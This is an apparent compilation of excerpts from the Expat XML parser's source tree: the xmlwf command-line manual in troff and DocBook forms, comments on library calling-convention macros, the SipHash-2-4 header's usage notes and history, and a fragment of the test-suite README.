This matches the example output used by the formal XML test cases.
Requires \*(T<\fB\-d\fR\*(T> to specify an output file.
.TP
\*(T<\fB\-p\fR\*(T>
Tells \fBxmlwf\fR to process external DTDs and parameter
entities.
Normally \fBxmlwf\fR never parses parameter
entities. \*(T<\fB\-p\fR\*(T> tells it to always parse them.
\*(T<\fB\-p\fR\*(T> implies \*(T<\fB\-x\fR\*(T>.
.TP
\*(T<\fB\-r\fR\*(T>
Normally \fBxmlwf\fR memory-maps the XML file
before parsing; this can result in faster parsing on many
platforms.
\*(T<\fB\-r\fR\*(T> turns off memory-mapping and uses normal file
IO calls instead.
Of course, memory-mapping is automatically turned off
when reading from standard input.
Use of memory-mapping can cause some platforms to report
substantially higher memory usage for
\fBxmlwf\fR, but this appears to be a matter of
the operating system reporting memory in a strange way; there is
not a leak in \fBxmlwf\fR.
.TP
\*(T<\fB\-s\fR\*(T>
Prints an error if the document is not standalone.
A document is standalone if it has no external subset and no
references to parameter entities.
.TP
\*(T<\fB\-t\fR\*(T>
Turns on timings. This tells Expat to parse the entire file,
but not perform any processing.
This gives a fairly accurate idea of the raw speed of Expat itself
without client overhead.
\*(T<\fB\-t\fR\*(T> turns off most of the output options
(\*(T<\fB\-d\fR\*(T>, \*(T<\fB\-m\fR\*(T>, \*(T<\fB\-c\fR\*(T>, ...).
.TP
\*(T<\fB\-v\fR\*(T>
Prints the version of the Expat library being used, including some
information on the compile-time configuration of the library, and
then exits.
.TP
\*(T<\fB\-w\fR\*(T>
Enables support for Windows code pages.
Normally, \fBxmlwf\fR will throw an error if it
runs across an encoding that it is not equipped to handle itself. With
\*(T<\fB\-w\fR\*(T>, \fBxmlwf\fR will try to use a Windows code
page. See also \*(T<\fB\-e\fR\*(T>.
.TP
\*(T<\fB\-x\fR\*(T>
Turns on parsing external entities.
Non-validating parsers are not required to resolve external
entities, or even expand entities at all.
Expat always expands internal entities (?),
but external entity parsing must be enabled explicitly.
External entities are simply entities that obtain their
data from outside the XML file currently being parsed.
This is an example of an internal entity:
.nf
<!ENTITY vers '1.0.2'>
.fi
And here are some examples of external entities:
.nf
<!ENTITY header SYSTEM "header\-&vers;.xml"> (parsed)
<!ENTITY logo SYSTEM "logo.png" PNG> (unparsed)
.fi
.TP
\*(T<\fB\-\-\fR\*(T>
(Two hyphens.)
Terminates the list of options. This is only needed if a filename
starts with a hyphen. For example:
.nf
xmlwf \-\- \-myfile.xml
.fi
will run \fBxmlwf\fR on the file
\*(T<\fI\-myfile.xml\fR\*(T>.
.PP
Older versions of \fBxmlwf\fR do not support
reading from standard input.
.SH OUTPUT
\fBxmlwf\fR outputs nothing for files which are problem-free.
If any input file is not well-formed, or if the output for any
input file cannot be opened, \fBxmlwf\fR prints a single
line describing the problem to standard output.
.PP
If the \*(T<\fB\-k\fR\*(T> option is not provided, \fBxmlwf\fR
halts upon encountering a well-formedness or output-file error.
If \*(T<\fB\-k\fR\*(T> is provided, \fBxmlwf\fR continues
processing the remaining input files, describing problems found with any of them.
.SH "EXIT STATUS"
For option \*(T<\fB\-v\fR\*(T> or \*(T<\fB\-h\fR\*(T>, \fBxmlwf\fR always exits with status code 0. For other cases, the following exit status codes are returned:
.TP
\*(T<\fB0\fR\*(T>
The input files are well-formed and the output (if requested) was written successfully.
.TP
\*(T<\fB1\fR\*(T>
An internal error occurred.
.TP
\*(T<\fB2\fR\*(T>
One or more input files were not well-formed or could not be parsed.
.TP
\*(T<\fB3\fR\*(T>
If using the \*(T<\fB\-d\fR\*(T> option, an error occurred opening an output file.
.TP
\*(T<\fB4\fR\*(T>
There was a command-line argument error in how \fBxmlwf\fR was invoked.
.SH BUGS
The errors should go to standard error, not standard output.
.PP
There should be a way to get \*(T<\fB\-d\fR\*(T> to send its
output to standard output rather than forcing the user to send
it to a file.
.PP
I have no idea why anyone would want to use the
\*(T<\fB\-d\fR\*(T>, \*(T<\fB\-c\fR\*(T>, and
\*(T<\fB\-m\fR\*(T> options. If someone could explain it to
me, I'd like to add this information to this manpage.

<title>DESCRIPTION</title>
<para>
<command>&dhpackage;</command> uses the Expat library to
determine if an XML document is well-formed. It is
non-validating.
</para>
<para>
If you do not specify any files on the command-line, and you
have a recent version of <command>&dhpackage;</command>, the
input file will be read from standard input.
</para>
</refsect1>
<refsect1>
<title>WELL-FORMED DOCUMENTS</title>
<para>
A well-formed document must adhere to the
following rules:
</para>
<itemizedlist>
<listitem><para>
The file begins with an XML declaration. For instance,
<literal>&lt;?xml version="1.0" standalone="yes"?&gt;</literal>.
<emphasis>NOTE</emphasis>:
<command>&dhpackage;</command> does not currently
check for a valid XML declaration.
</para></listitem>
<listitem><para>
Every start tag is either empty (&lt;tag/&gt;)
or has a corresponding end tag.
</para></listitem>
<listitem><para>
There is exactly one root element. This element must contain
all other elements in the document. Only comments, white
space, and processing instructions may come after the close
of the root element.
</para></listitem>
<listitem><para>
All elements nest properly.
</para></listitem>
<listitem><para>
All attribute values are enclosed in quotes (either single
or double).
</para></listitem>
</itemizedlist>
<para>
If the document has a DTD, and it strictly complies with that
DTD, then the document is also considered <emphasis>valid</emphasis>.
<command>&dhpackage;</command> is a non-validating parser --
it does not check the DTD. However, it does support
external entities (see the <option>-x</option> option).
</para>
</refsect1>
<refsect1>
<title>OPTIONS</title>
<para>
When an option includes an argument, you may specify the argument either
separately ("<option>-d</option> <replaceable>output</replaceable>") or concatenated with the
option ("<option>-d</option><replaceable>output</replaceable>"). <command>&dhpackage;</command>
supports both.
</para>
<variablelist>
<varlistentry>
<term><option>-a</option> <replaceable>factor</replaceable></term>
<listitem>
<para>
Sets the maximum tolerated amplification factor
for protection against billion laughs attacks (default: 100.0).
The amplification factor is calculated as ..
</para>
<literallayout>
amplification := (direct + indirect) / direct
</literallayout>
<para>
.. while parsing, whereas
&lt;direct&gt; is the number of bytes read
from the primary document in parsing and
&lt;indirect&gt; is the number of bytes
added by expanding entities and reading of external DTD files,
combined.
</para>
<para>
<emphasis>NOTE</emphasis>:
If you ever need to increase this value for non-attack payload,
please file a bug report.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-b</option> <replaceable>bytes</replaceable></term>
<listitem>
<para>
Sets the number of output bytes (including amplification)
needed to activate protection against billion laughs attacks
(default: 8 MiB).
This can be thought of as an &quot;activation threshold&quot;.
</para>
<para>
<emphasis>NOTE</emphasis>:
If you ever need to increase this value for non-attack payload,
please file a bug report.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-c</option></term>
<listitem>
<para>
If the input file is well-formed and <command>&dhpackage;</command>
doesn't encounter any errors, the input file is simply copied to
the output directory unchanged.
This implies no namespaces (turns off <option>-n</option>) and
requires <option>-d</option> to specify an output directory.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-d</option> <replaceable>output-dir</replaceable></term>
<listitem>
<para>
Specifies a directory to contain transformed
representations of the input files.
By default, <option>-d</option> outputs a canonical representation
(described below).
You can select different output formats using <option>-c</option>,
<option>-m</option> and <option>-N</option>.
</para>
<para>
The output filenames will
be exactly the same as the input filenames or "STDIN" if the input is
coming from standard input. Therefore, you must be careful that the
output file does not go into the same directory as the input
file. Otherwise, <command>&dhpackage;</command> will delete the
input file before it generates the output file (just like running
<literal>cat &lt; file &gt; file</literal> in most shells).
</para>
<para>
Two structurally equivalent XML documents have a byte-for-byte
identical canonical XML representation.
Note that ignorable white space is considered significant and
is treated equivalently to data.
More on canonical XML can be found at
http://www.jclark.com/xml/canonxml.html .
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-e</option> <replaceable>encoding</replaceable></term>
<listitem>
<para>
Specifies the character encoding for the document, overriding
any document encoding declaration. <command>&dhpackage;</command>
supports four built-in encodings:
<literal>US-ASCII</literal>,
<literal>UTF-8</literal>,
<literal>UTF-16</literal>, and
<literal>ISO-8859-1</literal>.
Also see the <option>-w</option> option.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-k</option></term>
<listitem>
<para>
When processing multiple files, <command>&dhpackage;</command>
by default halts after the the first file with an error.
This tells <command>&dhpackage;</command> to report the error
but to keep processing.
This can be useful, for example, when testing a filter that converts
many files to XML and you want to quickly find out which conversions
failed.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-m</option></term>
<listitem>
<para>
Outputs some strange sort of XML file that completely
describes the input file, including character positions.
Requires <option>-d</option> to specify an output file.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-n</option></term>
<listitem>
<para>
Turns on namespace processing. (describe namespaces)
<option>-c</option> disables namespaces.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-N</option></term>
<listitem>
<para>
Adds a doctype and notation declarations to canonical XML output.
This matches the example output used by the formal XML test cases.
Requires <option>-d</option> to specify an output file.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-p</option></term>
<listitem>
<para>
Tells <command>&dhpackage;</command> to process external DTDs and parameter
entities.
</para>
<para>
Normally <command>&dhpackage;</command> never parses parameter
entities. <option>-p</option> tells it to always parse them.
<option>-p</option> implies <option>-x</option>.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-r</option></term>
<listitem>
<para>
Normally <command>&dhpackage;</command> memory-maps the XML file
before parsing; this can result in faster parsing on many
platforms.
<option>-r</option> turns off memory-mapping and uses normal file
IO calls instead.
Of course, memory-mapping is automatically turned off
when reading from standard input.
</para>
<para>
Use of memory-mapping can cause some platforms to report
substantially higher memory usage for
<command>&dhpackage;</command>, but this appears to be a matter of
the operating system reporting memory in a strange way; there is
not a leak in <command>&dhpackage;</command>.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-s</option></term>
<listitem>
<para>
Prints an error if the document is not standalone.
A document is standalone if it has no external subset and no
references to parameter entities.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-t</option></term>
<listitem>
<para>
Turns on timings. This tells Expat to parse the entire file,
but not perform any processing.
This gives a fairly accurate idea of the raw speed of Expat itself
without client overhead.
<option>-t</option> turns off most of the output options
(<option>-d</option>, <option>-m</option>, <option>-c</option>, ...).
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-v</option></term>
<listitem>
<para>
Prints the version of the Expat library being used, including some
information on the compile-time configuration of the library, and
then exits.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-w</option></term>
<listitem>
<para>
Enables support for Windows code pages.
Normally, <command>&dhpackage;</command> will throw an error if it
runs across an encoding that it is not equipped to handle itself. With
<option>-w</option>, <command>&dhpackage;</command> will try to use a Windows code
page. See also <option>-e</option>.
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>-x</option></term>
<listitem>
<para>
Turns on parsing external entities.
</para>
<para>
Non-validating parsers are not required to resolve external
entities, or even expand entities at all.
Expat always expands internal entities (?),
but external entity parsing must be enabled explicitly.
</para>
<para>
External entities are simply entities that obtain their
data from outside the XML file currently being parsed.
</para>
<para>
This is an example of an internal entity:
<literallayout>
&lt;!ENTITY vers '1.0.2'&gt;
</literallayout>
</para>
<para>
And here are some examples of external entities:
<literallayout>
&lt;!ENTITY header SYSTEM "header-&amp;vers;.xml"&gt; (parsed)
&lt;!ENTITY logo SYSTEM "logo.png" PNG&gt; (unparsed)
</literallayout>
</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>--</option></term>
<listitem>
<para>
(Two hyphens.)
Terminates the list of options. This is only needed if a filename
starts with a hyphen. For example:
</para>
<literallayout>
&dhpackage; -- -myfile.xml
</literallayout>
<para>
will run <command>&dhpackage;</command> on the file
<filename>-myfile.xml</filename>.
</para>
</listitem>
</varlistentry>
</variablelist>
<para>
Older versions of <command>&dhpackage;</command> do not support
reading from standard input.
</para>
</refsect1>
<refsect1>
<title>OUTPUT</title>
<para>
<command>&dhpackage;</command> outputs nothing for files which are problem-free.
If any input file is not well-formed, or if the output for any
input file cannot be opened, <command>&dhpackage;</command> prints a single
line describing the problem to standard output.
</para>
<para>
If the <option>-k</option> option is not provided, <command>&dhpackage;</command>
halts upon encountering a well-formedness or output-file error.
If <option>-k</option> is provided, <command>&dhpackage;</command> continues
processing the remaining input files, describing problems found with any of them.
</para>
</refsect1>
<refsect1>
<title>EXIT STATUS</title>
<para>For option <option>-v</option> or <option>-h</option>, <command>&dhpackage;</command> always exits with status code 0. For other cases, the following exit status codes are returned:
<variablelist>
<varlistentry>
<term><option>0</option></term>
<listitem><para>The input files are well-formed and the output (if requested) was written successfully.</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>1</option></term>
<listitem><para>An internal error occurred.</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>2</option></term>
<listitem><para>One or more input files were not well-formed or could not be parsed.</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>3</option></term>
<listitem><para>If using the <option>-d</option> option, an error occurred opening an output file.</para>
</listitem>
</varlistentry>
<varlistentry>
<term><option>4</option></term>
<listitem><para>There was a command-line argument error in how <command>&dhpackage;</command> was invoked.</para>
</listitem>
</varlistentry>
</variablelist>
</para>
</refsect1>
<refsect1>
<title>BUGS</title>
<para>
The errors should go to standard error, not standard output.
</para>
<para>
There should be a way to get <option>-d</option> to send its
output to standard output rather than forcing the user to send
it to a file.
</para>
<para>
I have no idea why anyone would want to use the
<option>-d</option>, <option>-c</option>, and
<option>-m</option> options. If someone could explain it to
me, I'd like to add this information to this manpage.

/* Expat tries very hard to make the API boundary very specifically
defined. There are two macros defined to control this boundary;
each of these can be defined before including this header to
achieve some different behavior, but doing so it not recommended or
tested frequently.
XMLCALL - The calling convention to use for all calls across the
"library boundary." This will default to cdecl, and
try really hard to tell the compiler that's what we
want.
XMLIMPORT - Whatever magic is needed to note that a function is
to be imported from a dynamically loaded library
(.dll, .so, or .sl, depending on your platform).
The XMLCALL macro was added in Expat 1.95.7. The only one which is
expected to be directly useful in client code is XMLCALL.
Note that on at least some Unix versions, the Expat library must be
compiled with the cdecl calling convention as the default since
system headers may assume the cdecl convention.

/* internal.h
Internal definitions used by Expat. This is not needed to compile
client code.
The following calling convention macros are defined for frequently
called functions:
FASTCALL - Used for those internal functions that have a simple
body and a low number of arguments and local variables.
PTRCALL - Used for functions called though function pointers.
PTRFASTCALL - Like PTRCALL, but for low number of arguments.
inline - Used for selected internal functions for which inlining
may improve performance on some platforms.
Note: Use of these macros is based on judgement, not hard rules,
and therefore subject to change.

* siphash.h - SipHash-2-4 in a single header file
* --------------------------------------------------------------------------
* Derived by William Ahern from the reference implementation[1] published[2]
* by Jean-Philippe Aumasson and Daniel J. Berstein.
* Minimal changes by Sebastian Pipping and Victor Stinner on top, see below.
* Licensed under the CC0 Public Domain Dedication license.

* 1. https://www.131002.net/siphash/siphash24.c
* 2. https://www.131002.net/siphash/
* --------------------------------------------------------------------------
* HISTORY:
*
* 2020-10-03 (Sebastian Pipping)
* - Drop support for Visual Studio 9.0/2008 and earlier
*
* 2019-08-03 (Sebastian Pipping)
* - Mark part of sip24_valid as to be excluded from clang-format
* - Re-format code using clang-format 9
*
* 2018-07-08 (Anton Maklakov)
* - Add "fall through" markers for GCC's -Wimplicit-fallthrough
*
* 2017-11-03 (Sebastian Pipping)
* - Hide sip_tobin and sip_binof unless SIPHASH_TOBIN macro is defined
*
* 2017-07-25 (Vadim Zeitlin)
* - Fix use of SIPHASH_MAIN macro
*
* 2017-07-05 (Sebastian Pipping)
* - Use _SIP_ULL macro to not require a C++11 compiler if compiled as C++
* - Add const qualifiers at two places
* - Ensure <=80 characters line length (assuming tab width 4)
*
* 2017-06-23 (Victor Stinner)
* - Address Win64 compile warnings
*
* 2017-06-18 (Sebastian Pipping)
* - Clarify license note in the header
* - Address C89 issues:
* - Stop using inline keyword (and let compiler decide)
* - Replace _Bool by int
* - Turn macro siphash24 into a function
* - Address invalid conversion (void pointer) by explicit cast
* - Address lack of stdint.h for Visual Studio 2003 to 2008
* - Always expose sip24_valid (for self-tests)
*
* 2012-11-04 - Born. (William Ahern)
* --------------------------------------------------------------------------
* USAGE:
*
* SipHash-2-4 takes as input two 64-bit words as the key, some number of
* message bytes, and outputs a 64-bit word as the message digest. This
* implementation employs two data structures: a struct sipkey for
* representing the key, and a struct siphash for representing the hash
* state.
*
* For converting a 16-byte unsigned char array to a key, use either the
* macro sip_keyof or the routine sip_tokey. The former instantiates a
* compound literal key, while the latter requires a key object as a
* parameter.
*
* unsigned char secret[16];
* arc4random_buf(secret, sizeof secret);
* struct sipkey *key = sip_keyof(secret);
*
* For hashing a message, use either the convenience macro siphash24 or the
* routines sip24_init, sip24_update, and sip24_final.
*
* struct siphash state;
* void *msg;
* size_t len;
* uint64_t hash;
*
* sip24_init(&state, key);
* sip24_update(&state, msg, len);
* hash = sip24_final(&state);
*
* or
*
* hash = siphash24(msg, len, key);
*
* To convert the 64-bit hash value to a canonical 8-byte little-endian
* binary representation, use either the macro sip_binof or the routine
* sip_tobin. The former instantiates and returns a compound literal array,
* while the latter requires an array object as a parameter.
* --------------------------------------------------------------------------
* NOTES:
*
* o Neither sip_keyof, sip_binof, nor siphash24 will work with compilers
* lacking compound literal support. Instead, you must use the lower-level
* interfaces which take as parameters the temporary state objects.
*
* o Uppercase macros may evaluate parameters more than once. Lowercase
* macros should not exhibit any such side effects.

unit testing framework for C. More information on Check can be found at:
http://check.sourceforge.net/
Expat must be built and, depending on platform, must be installed, before "make check" can be executed.
This test suite can all change in a later version.
